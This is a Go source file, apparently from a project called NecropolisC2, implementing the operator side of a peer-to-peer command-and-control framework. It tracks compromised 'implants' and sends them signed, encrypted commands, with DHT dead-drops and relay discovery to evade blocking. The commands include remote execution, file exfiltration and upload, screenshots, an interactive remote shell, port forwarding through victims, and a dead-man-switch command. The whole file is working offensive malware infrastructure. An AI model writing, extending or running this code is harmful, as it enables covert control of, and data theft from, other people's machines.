// Operator represents the C2 operator node. Handles implant registration, command
// dispatch, beacon monitoring, and DHT dead-drop publishing.
package core

import (
	"context"
	"encoding/binary"
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"path/filepath"
	"sort"
	"strings"
	"sync"
	"time"

	"github.com/libp2p/go-libp2p"
	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
	tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
	ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
	"google.golang.org/protobuf/proto"
	"golang.org/x/term"

	"github.com/Yenn503/NecropolisC2/pkg/cryptography"
	"github.com/Yenn503/NecropolisC2/pkg/transport"
	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)

// ImplantRecord holds the registration state and metadata for one implant.
type ImplantRecord struct {
	Name        string
	Hostname    string
	UUID        string
	Username    string
	UID         string
	GID         string
	OS          string
	Arch        string
	PID         int32
	PeerID      string
	Version     string
	ActiveC2    string
	Locale      string
	LastCheckin time.Time
	Interval    time.Duration
	Jitter      time.Duration
	PublicKey   crypto.PubKey
	Disconnected bool
	IsRelay     bool
	BoxPubKey   *[32]byte
}

// Operator owns the operator's identity, network node, known implants, and SOCKS proxies.
type Operator struct {
	keys        *cryptography.OperatorKey
	node        *transport.Node
	messenger   *transport.Messenger
	implants    map[string]*ImplantRecord
	mu          sync.RWMutex
	ctx         context.Context
	cancel      context.CancelFunc
	socksProxies map[int]*SocksInstance
	socksMu     sync.Mutex
	cmdNonce    int64
	SelectedPID string
	// lastCmdTime throttles per-implant command dispatch to 10/sec.
	lastCmdTime map[string]time.Time
	cmdMu       sync.Mutex
}

// NewOperator creates a libp2p host, configures relay/DHT, and wires up the messenger.
func NewOperator(ctx context.Context, keys *cryptography.OperatorKey, relayAddrs []string) (*Operator, error) {
	ctx, cancel := context.WithCancel(ctx)

	nodeCfg := transport.NodeConfig{
		ListenAddr:         "/ip4/0.0.0.0/tcp/8443/ws",
		BootstrapPeers:     transport.DefaultBootstrapAddrs(),
		EnableRelay:        true,
		EnableRelayService: true,
		EnableMDNS:         false,
		EnableDHT:          true,
		RelayAddrs:         relayAddrs,
		PrivateKey:         keys.PrivateKey,
	}

	node, err := transport.NewNode(ctx, nodeCfg,
		libp2p.NoTransports,
		libp2p.Transport(ws.New),
		libp2p.Transport(tcp.NewTCPTransport),
	)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("create node: %w", err)
	}

	o := &Operator{
		keys:         keys,
		node:         node,
		implants:     make(map[string]*ImplantRecord),
		socksProxies: make(map[int]*SocksInstance),
		lastCmdTime:  make(map[string]time.Time),
		ctx:          ctx,
		cancel:       cancel,
	}

	o.messenger = transport.NewOperatorMessenger(ctx, node, keys)
	o.messenger.SetOperatorID(keys.PeerID)
	o.messenger.SetAuthToken(keys.AuthToken)
	o.messenger.SetHandler(o.handleMessage)

	return o, nil
}

// SetSelected sets the peer ID whose results print to stdout.
func (o *Operator) SetSelected(pid string) { o.SelectedPID = pid }

// senderID extracts the libp2p peer ID from an envelope's embedded public key.
func (o *Operator) senderID(env *apb.Envelope) string {
	pubKey, err := transport.PubKeyFromEnvelope(env)
	if err != nil {
		return ""
	}
	id, err := peer.IDFromPublicKey(pubKey)
	if err != nil {
		return ""
	}
	return id.String()
}

// resultf prints to stdout if from the selected implant, otherwise logs quietly.
func (o *Operator) resultf(env *apb.Envelope, format string, args ...interface{}) {
	msg := fmt.Sprintf(format, args...)
	sid := o.senderID(env)
	if sid != "" && sid == o.SelectedPID {
		fmt.Println(msg)
	} else {
		log.Printf(msg + " [from " + sid[:12] + "]")
	}
}

// Start launches DHT advertising, beacon listener, relay discovery, and the disconnect
// watchdog. Returns after setting up all background goroutines.
func (o *Operator) Start() error {
	log.Printf("[operator] PeerID: %s", o.node.ID().String())
	log.Printf("[operator] Command topic: %s", o.messenger.CommandTopic())
	log.Printf("[operator] Beacon topic: %s", o.messenger.BeaconTopic())
	for _, addr := range o.node.Addrs() {
		log.Printf("[operator] listening on: %s/p2p/%s", addr, o.node.ID().String())
	}

	o.node.SetStreamHandler(transport.BeaconProtocolID, o.handleBeaconStream)

	if err := o.node.StartDiscovery(); err != nil {
		return fmt.Errorf("discovery: %w", err)
	}

		ns := o.messenger.RendezvousString()
		if o.node.DHT != nil {
			go func() {
				for o.node.DHT.RoutingTable().Size() == 0 {
					select {
					case <-o.ctx.Done():
						return
					case <-time.After(2 * time.Second):
					}
				}
				for o.node.Advertise(o.ctx, ns) != nil {
					select {
					case <-o.ctx.Done():
						return
					case <-time.After(10 * time.Second):
					}
				}
				for {
					o.node.Advertise(o.ctx, ns)
					select {
					case <-o.ctx.Done():
						return
					case <-time.After(30 * time.Second):
					}
				}
			}()

		relayNS := o.node.RelayRendezvousString(o.keys.PeerID)
		go o.advertiseRelayLoop(relayNS)
		go o.discoverRelayPeersLoop(relayNS)
	}

	if err := o.messenger.ListenBeacons(o.ctx); err != nil {
		return fmt.Errorf("listen beacons: %w", err)
	}

	go o.disconnectCheckLoop()

	return nil
}

// disconnectCheckLoop periodically marks implants disconnected if they miss beacon deadlines.
func (o *Operator) disconnectCheckLoop() {
	ticker := time.NewTicker(30 * time.Second)
	defer ticker.Stop()
	for {
		select {
		case <-ticker.C:
			o.mu.Lock()
			now := time.Now()
			for id, rec := range o.implants {
				if rec.Disconnected {
					continue
				}
				timeout := rec.Interval + rec.Jitter + 30*time.Second
				if now.Sub(rec.LastCheckin) > timeout {
					rec.Disconnected = true
					o.implants[id] = rec
					log.Printf("[operator] implant DISCONNECTED: %s@%s peer=%s (no beacon for %v)",
						rec.Name, rec.Hostname, id, now.Sub(rec.LastCheckin).Round(time.Second))
				}
			}
			o.mu.Unlock()
		case <-o.ctx.Done():
			return
		}
	}
}

// advertiseRelayLoop periodically advertises this node as a relay in the DHT.
func (o *Operator) advertiseRelayLoop(ns string) {
	if !o.node.WaitForDHT(o.ctx) {
		return
	}
	for {
		if o.node.DHT == nil {
			return
		}
		if err := o.node.AdvertiseRelay(o.ctx, ns); err != nil {
			log.Printf("[operator] relay advertise: %v", err)
		}
		select {
		case <-o.ctx.Done():
			return
		case <-time.After(60 * time.Second):
		}
	}
}

// discoverRelayPeersLoop finds relay peers in the DHT and connects to them.
func (o *Operator) discoverRelayPeersLoop(ns string) {
	if !o.node.WaitForDHT(o.ctx) {
		return
	}

	for {
		peers, err := o.node.FindRelayPeers(o.ctx, ns, 32)
		if err != nil {
			log.Printf("[operator] find relay peers: %v", err)
			goto sleep
		}
		for _, pi := range peers {
			if pi.ID == o.node.ID() {
				continue
			}
			cs := o.node.Host.Network().Connectedness(pi.ID)
			if cs == network.Connected || cs == network.Limited {
				continue
			}
			connCtx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
			if err := o.node.ConnectToPeer(connCtx, pi); err == nil {
				log.Printf("[operator] connected to relay peer %s", pi.ID.String())
			}
			cancel()
		}
	sleep:
		select {
		case <-o.ctx.Done():
			return
		case <-time.After(60 * time.Second):
		}
	}
}

// handleMessage decrypts (if box keys exist) and dispatches an incoming envelope to the
// correct result handler.
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
	if len(env.Data) > 0 && o.keys.BoxKeys != nil {
		decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
		if err == nil {
			env.Data = decrypted
		}
	}

	switch env.Type {
	case transport.MsgTypeRegister:
		o.handleBeaconRegister(env)
	case transport.MsgTypeCover:
		// cover traffic silently dropped
	case transport.MsgTypePs:
		o.handlePsResult(env)
	case transport.MsgTypeLs:
		o.handleLsResult(env)
	case transport.MsgTypeExecute:
		o.handleExecuteResult(env)
	case transport.MsgTypeCd:
		o.handleCdResult(env)
	case transport.MsgTypePwd:
		o.handlePwdResult(env)
	case transport.MsgTypeDownload:
		o.handleDownloadResult(env)
	case transport.MsgTypeUpload:
		o.handleUploadResult(env)
	case transport.MsgTypeScreenshot:
		o.handleScreenshotResult(env)
	case transport.MsgTypeKill:
		o.handleKillResult(env)
	default:
		log.Printf("[operator] received message type=%d", env.Type)
	}
}

// handleBeaconStream reads length-prefixed envelopes from a persistent beacon stream,
// verifies signatures, and dispatches them through handleMessage.
func (o *Operator) handleBeaconStream(s network.Stream) {
	defer s.Close()
	remotePeer := s.Conn().RemotePeer()
	for {
		var msgLen uint32
		if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
			errStr := err.Error()
			if errStr != "EOF" && !strings.Contains(errStr, "reset") && !strings.Contains(errStr, "closed") {
				log.Printf("[operator] beacon stream read len: %v", err)
			}
			return
		}
		if msgLen > 1<<20 {
			log.Printf("[operator] beacon stream message too large: %d", msgLen)
			return
		}
		data := make([]byte, msgLen)
		if _, err := io.ReadFull(s, data); err != nil {
			log.Printf("[operator] beacon stream read data: %v", err)
			return
		}
		env := &apb.Envelope{}
		if err := proto.Unmarshal(data, env); err != nil {
			log.Printf("[operator] beacon stream unmarshal: %v", err)
			continue
		}
		var pubKey crypto.PubKey
		if len(env.SenderKey) > 0 {
			pubKey, _ = transport.PubKeyFromEnvelope(env)
			senderID, err := peer.IDFromPublicKey(pubKey)
			if err != nil || senderID != remotePeer {
				log.Printf("[operator] beacon stream sender mismatch")
				continue
			}
		}
		if err := transport.VerifyEnvelope(env, pubKey); err != nil {
			log.Printf("[operator] beacon stream invalid signature: %v", err)
			continue
		}
		o.handleMessage(o.ctx, env, pubKey)
	}
}

// handleBeaconRegister processes an implant registration beacon, updating or creating the
// implant record and recording the implant's public key for signature verification.
func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
	if o.messenger.IsReplay(env.ID) {
		log.Printf("[operator] dropped replay beacon id=%d", env.ID)
		return
	}

	beaconReg := &apb.Z1{}
	if err := proto.Unmarshal(env.Data, beaconReg); err != nil {
		log.Printf("[operator] unmarshal beacon register: %v", err)
		return
	}

	reg := beaconReg.Register
	if reg == nil {
		log.Printf("[operator] beacon register missing Register field")
		return
	}

	pubKey, err := transport.PubKeyFromEnvelope(env)
	if err != nil {
		log.Printf("[operator] get sender key from envelope: %v", err)
		return
	}

	peerID, err := peer.IDFromPublicKey(pubKey)
	if err != nil {
		log.Printf("[operator] peer id from sender key: %v", err)
		return
	}
	peerIDStr := peerID.String()

	var boxPubKey *[32]byte
	if len(reg.BoxPubKey) == 32 {
		var key [32]byte
		copy(key[:], reg.BoxPubKey)
		boxPubKey = &key
	}

	rec := &ImplantRecord{
		Name:        reg.Name,
		Hostname:    reg.Hostname,
		UUID:        reg.UUID,
		Username:    reg.Username,
		UID:         reg.UID,
		GID:         reg.GID,
		OS:          reg.OS,
		Arch:        reg.Arch,
		PID:         reg.PID,
		PeerID:      peerIDStr,
		Version:     reg.Version,
		ActiveC2:    reg.ActiveC2,
		Locale:      reg.Locale,
		LastCheckin: time.Now(),
		Interval:    time.Duration(beaconReg.Interval) * time.Second,
		Jitter:      time.Duration(beaconReg.Jitter) * time.Second,
		PublicKey:   pubKey,
		BoxPubKey:   boxPubKey,
	}

	o.mu.Lock()
	if existing, ok := o.implants[peerIDStr]; ok {
		existing.LastCheckin = time.Now()
		existing.Disconnected = false
		existing.Hostname = reg.Hostname
		existing.Username = reg.Username
		existing.OS = reg.OS
		existing.Arch = reg.Arch
		existing.IsRelay = true
		existing.BoxPubKey = boxPubKey
	} else {
		rec.IsRelay = true
		o.implants[peerIDStr] = rec
		log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",
			reg.Name, reg.Hostname, reg.OS, reg.Arch, peerIDStr)
	}
	o.mu.Unlock()

	o.messenger.AddKnownImplant(peerIDStr, pubKey)
}

// ListImplants returns all registered implant records sorted by peer ID.
func (o *Operator) ListImplants() []*ImplantRecord {
	o.mu.RLock()
	defer o.mu.RUnlock()

	ids := make([]string, 0, len(o.implants))
	for id := range o.implants {
		ids = append(ids, id)
	}
	sort.Strings(ids)

	out := make([]*ImplantRecord, 0, len(o.implants))
	for _, id := range ids {
		out = append(out, o.implants[id])
	}
	return out
}

// GetImplant looks up a single implant record by peer ID.
func (o *Operator) GetImplant(peerID string) *ImplantRecord {
	o.mu.RLock()
	defer o.mu.RUnlock()
	return o.implants[peerID]
}

// sendCommandToImplant packs a protobuf message into a signed envelope, opens a direct
// command stream to the implant, and publishes the envelope as a DHT dead-drop.
func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, msg proto.Message) error {
	o.cmdMu.Lock()
	if last, ok := o.lastCmdTime[implantPeerID]; ok {
		if time.Since(last) < 100*time.Millisecond {
			o.cmdMu.Unlock()
			return fmt.Errorf("rate limited — wait before sending another command")
		}
	}
	o.lastCmdTime[implantPeerID] = time.Now()
	o.cmdMu.Unlock()

	pid, err := peer.Decode(implantPeerID)
	if err != nil {
		return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
	}

	data, err := proto.Marshal(msg)
	if err != nil {
		return fmt.Errorf("marshal: %w", err)
	}

	env := o.messenger.CreateEnvelope(msgType, data)

	rec := o.GetImplant(implantPeerID)
	if rec != nil && rec.BoxPubKey != nil {
		encrypted, err := cryptography.EncryptMessage(env.Data, rec.BoxPubKey)
		if err != nil {
			return fmt.Errorf("encrypt command: %w", err)
		}
		env.Data = encrypted
	}

	pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
	if err == nil {
		env.SenderKey = pubBytes
	}

	signingData, err := transport.EnvelopeSigningBytes(env)
	if err != nil {
		return fmt.Errorf("signing bytes: %w", err)
	}
	sig, err := o.keys.PrivateKey.Sign(signingData)
	if err != nil {
		return fmt.Errorf("sign: %w", err)
	}
	env.Signature = sig

	ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
	defer cancel()
	ctx = network.WithAllowLimitedConn(ctx, "command")

	s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
	if err != nil {
		return fmt.Errorf("open command stream: %w", err)
	}
	defer s.Close()

	envData, err := proto.Marshal(env)
	if err != nil {
		return fmt.Errorf("marshal envelope: %w", err)
	}

	if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
		return fmt.Errorf("write len: %w", err)
	}
	if _, err := s.Write(envData); err != nil {
		return fmt.Errorf("write data: %w", err)
	}

	// DHT dead-drop — implants unable to reach operator via direct stream or
	// relay can poll the DHT for signed command envelopes. Best-effort, no retry, no ACK.
	o.cmdNonce++
	dhtKey := transport.CommandDHTKey(o.keys.PeerID, o.cmdNonce)
	go func() {
		_ = o.node.PutDHTValue(o.ctx, dhtKey, envData) // best-effort, silent
	}()

	return nil
}

// Ps sends a process listing command to the given implant.
func (o *Operator) Ps(implantPeerID string) error {
	req := &apb.Z12{}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req)
}

// Ls sends a directory listing command to the given implant.
func (o *Operator) Ls(implantPeerID string, path string) error {
	req := &apb.Z16{Path: path}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req)
}

// Execute sends a command execution request to the given implant.
func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error {
	req := &apb.Z14{
		Path:   cmd,
		Args:   args,
		Output: true,
	}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req)
}

// DeadMan sends a dead man switch configuration to the implant — a command that fires
// automatically if the implant loses contact with the operator.
func (o *Operator) DeadMan(implantPeerID string, command string, timeoutSeconds int) error {
	payload := fmt.Sprintf(`{"command":"%s","timeout_seconds":%d}`, command, timeoutSeconds)
	env := o.messenger.CreateEnvelope(transport.MsgTypeDeadMan, []byte(payload))

	pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
	if err == nil {
		env.SenderKey = pubBytes
	}

	signingData, err := transport.EnvelopeSigningBytes(env)
	if err != nil {
		return fmt.Errorf("signing bytes: %w", err)
	}
	sig, err := o.keys.PrivateKey.Sign(signingData)
	if err != nil {
		return fmt.Errorf("sign: %w", err)
	}
	env.Signature = sig

	pid, err := peer.Decode(implantPeerID)
	if err != nil {
		return fmt.Errorf("decode peer id: %w", err)
	}

	ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
	defer cancel()

	s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
	if err != nil {
		return fmt.Errorf("open command stream: %w", err)
	}
	defer s.Close()

	envData, err := proto.Marshal(env)
	if err != nil {
		return fmt.Errorf("marshal envelope: %w", err)
	}
	if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
		return fmt.Errorf("write len: %w", err)
	}
	_, err = s.Write(envData)
	return err
}

// handlePsResult prints the process listing returned by an implant.
func (o *Operator) handlePsResult(env *apb.Envelope) {
	result := &apb.Z13{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal ps result: %v", err)
		return
	}
	o.resultf(env, "[ps] %d processes", len(result.Processes))
	for _, p := range result.Processes {
		o.resultf(env, "  %s (PID: %d)", p.Name, p.Pid)
	}
}

// handleLsResult prints a directory listing result from an implant.
func (o *Operator) handleLsResult(env *apb.Envelope) {
	result := &apb.Z17{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal ls result: %v", err)
		return
	}
	o.resultf(env, "[ls] %s: %d entries", result.Path, len(result.Files))
}

// handleExecuteResult prints the stdout/stderr returned by an implant command execution.
func (o *Operator) handleExecuteResult(env *apb.Envelope) {
	result := &apb.Z15{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal execute result: %v", err)
		return
	}
	o.resultf(env, "[exec] status=%d stdout=%d stderr=%d", result.Status, len(result.Stdout), len(result.Stderr))
	if len(result.Stdout) > 0 {
		o.resultf(env, string(result.Stdout))
	}
	if len(result.Stderr) > 0 {
		o.resultf(env, string(result.Stderr))
	}
}

// handleCdResult prints the result of a change-directory command on an implant.
func (o *Operator) handleCdResult(env *apb.Envelope) {
	result := &apb.Z21{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal cd result: %v", err)
		return
	}
	if result.Response != nil && result.Response.Err != 0 {
		o.resultf(env, "cd error: %s", result.Response.ErrMsg)
	} else {
		o.resultf(env, "cd: %s", result.Path)
	}
}

// handlePwdResult prints the current working directory returned by an implant.
func (o *Operator) handlePwdResult(env *apb.Envelope) {
	result := &apb.Z21{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal pwd result: %v", err)
		return
	}
	o.resultf(env, "%s", result.Path)
}

// handleScreenshotResult prints the screenshot byte count or error from an implant.
func (o *Operator) handleScreenshotResult(env *apb.Envelope) {
	result := &apb.Z3{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal screenshot result: %v", err)
		return
	}
	if result.Response != nil && result.Response.Err != 0 {
		o.resultf(env, "screenshot error: %s", result.Response.ErrMsg)
	} else {
		o.resultf(env, "screenshot: %d bytes", len(result.Data))
	}
}

// handleDownloadResult writes a file downloaded from an implant to the local filesystem.
func (o *Operator) handleDownloadResult(env *apb.Envelope) {
	result := &apb.Z23{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal download result: %v", err)
		return
	}
	if !result.Exists {
		o.resultf(env, "download: file does not exist")
		return
	}
	if result.Response != nil && result.Response.Err != 0 {
		o.resultf(env, "download error: %s", result.Response.ErrMsg)
		return
	}
	path := result.Path
	if path == "" {
		path = "downloaded"
	}
	safePath := filepath.Join("downloads", filepath.Base(path))
	if err := os.MkdirAll(filepath.Dir(safePath), 0755); err != nil {
		o.resultf(env, "download: mkdir %s: %v", safePath, err)
		return
	}
	if err := os.WriteFile(safePath, result.Data, 0644); err != nil {
		o.resultf(env, "download: write %s: %v", safePath, err)
		return
	}
	o.resultf(env, "downloaded %s (%d bytes)", safePath, len(result.Data))
}

// handleUploadResult prints the result of a file upload to an implant.
func (o *Operator) handleUploadResult(env *apb.Envelope) {
	result := &apb.Z25{}
	if err := proto.Unmarshal(env.Data, result); err != nil {
		log.Printf("[operator] unmarshal upload result: %v", err)
		return
	}
	if result.Response != nil && result.Response.Err != 0 {
		o.resultf(env, "upload error: %s", result.Response.ErrMsg)
		return
	}
	o.resultf(env, "uploaded %d bytes to %s", result.BytesWritten, result.Path)
}

// handleKillResult confirms that an implant received and acted on the kill command.
func (o *Operator) handleKillResult(env *apb.Envelope) {
	o.resultf(env, "[kill] implant exited")
}

// Cd changes the working directory on the selected implant.
func (o *Operator) Cd(implantPeerID string, path string) error {
	req := &apb.Z19{Path: path}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req)
}

// Pwd prints the working directory on the selected implant.
func (o *Operator) Pwd(implantPeerID string) error {
	req := &apb.Z20{}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req)
}

// Kill sends the terminate command to the selected implant.
func (o *Operator) Kill(implantPeerID string) error {
	req := &apb.Z20{}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypeKill, req)
}

// Download requests a file from the implant at the given path.
func (o *Operator) Download(implantPeerID string, path string) error {
	req := &apb.Z22{Path: path}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req)
}

// Upload sends a file to the implant at the given path, overwriting if it exists.
func (o *Operator) Upload(implantPeerID string, path string, data []byte) error {
	req := &apb.Z24{
		Path:      path,
		Data:      data,
		Overwrite: true,
	}
	return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
}

// UploadFile reads a local file (≤100MB) and uploads it to the implant.
func (o *Operator) UploadFile(implantPeerID string, localPath string, remotePath string) error {
	fi, err := os.Stat(localPath)
	if err != nil {
		return fmt.Errorf("stat %s: %w", localPath, err)
	}
	if fi.Size() > 100<<20 {
		return fmt.Errorf("file too large: %d bytes (max 100MB)", fi.Size())
	}
	data, err := os.ReadFile(localPath)
	if err != nil {
		return fmt.Errorf("read %s: %w", localPath, err)
	}
	return o.Upload(implantPeerID, remotePath, data)
}

type shellEscaper struct {
	r       io.Reader
	escaped bool
}

func (e *shellEscaper) Read(p []byte) (int, error) {
	if e.escaped {
		return 0, fmt.Errorf("shell escape")
	}
	n, err := e.r.Read(p)
	if n > 0 {
		for i := 0; i < n; i++ {
			if p[i] == 0x1d { // Ctrl+]
				e.escaped = true
				return 0, fmt.Errorf("shell escape")
			}
		}
	}
	return n, err
}

// OpenShell opens an interactive shell on the implant over a libp2p stream. Terminal
// is put in raw mode and stdin/stdout are proxied bidirectionally. Press Ctrl+] to exit.
func (o *Operator) OpenShell(implantPeerID string) error {
	pid, err := peer.Decode(implantPeerID)
	if err != nil {
		return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
	}

	ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
	defer cancel()
	ctx = network.WithAllowLimitedConn(ctx, "shell")

	s, err := o.node.NewStream(ctx, pid, transport.ShellProtocolID)
	if err != nil {
		return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
	}
	defer s.Close()

	rows, cols, err := term.GetSize(int(os.Stdin.Fd()))
	if err != nil {
		rows, cols = 30, 120
	}
	if err := binary.Write(s, binary.LittleEndian, uint16(rows)); err != nil {
		return fmt.Errorf("send rows: %w", err)
	}
	if err := binary.Write(s, binary.LittleEndian, uint16(cols)); err != nil {
		return fmt.Errorf("send cols: %w", err)
	}

	oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
	if err != nil {
		return fmt.Errorf("raw terminal: %w", err)
	}
	defer term.Restore(int(os.Stdin.Fd()), oldState)

	errCh := make(chan error, 2)

	go func() {
		_, err := io.Copy(s, &shellEscaper{r: os.Stdin})
		errCh <- err
	}()
	go func() {
		_, err := io.Copy(os.Stdout, s)
		errCh <- err
	}()

	<-errCh
	fmt.Println() // newline after shell exits
	return nil
}

// Portfwd listens on a local TCP port and tunnels connections through the implant to the
// specified target address.
func (o *Operator) Portfwd(implantPeerID string, localPort int, target string) error {
	pid, err := peer.Decode(implantPeerID)
	if err != nil {
		return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
	}

	listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
	if err != nil {
		return fmt.Errorf("listen 127.0.0.1:%d: %w", localPort, err)
	}
	defer listener.Close()

	log.Printf("[operator] portfwd: forwarding 127.0.0.1:%d -> %s via %s", localPort, target, implantPeerID)

	for {
		localConn, err := listener.Accept()
		if err != nil {
			return err
		}

		go func() {
			defer localConn.Close()

			pctx, pcancel := context.WithTimeout(o.ctx, 15*time.Second)
			defer pcancel()
			pctx = network.WithAllowLimitedConn(pctx, "portfwd")

			s, err := o.node.NewStream(pctx, pid, transport.PortfwdProtocolID)
			if err != nil {
				log.Printf("[operator] portfwd stream: %v", err)
				return
			}
			defer s.Close()

			if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
				log.Printf("[operator] portfwd send target: %v", err)
				return
			}

			go io.Copy(s, localConn)
			io.Copy(localConn, s)
		}()
	}
}

// Close cancels the operator context and shuts down the node.
func (o *Operator) Close() error {
	o.cancel()
	return o.node.Close()
}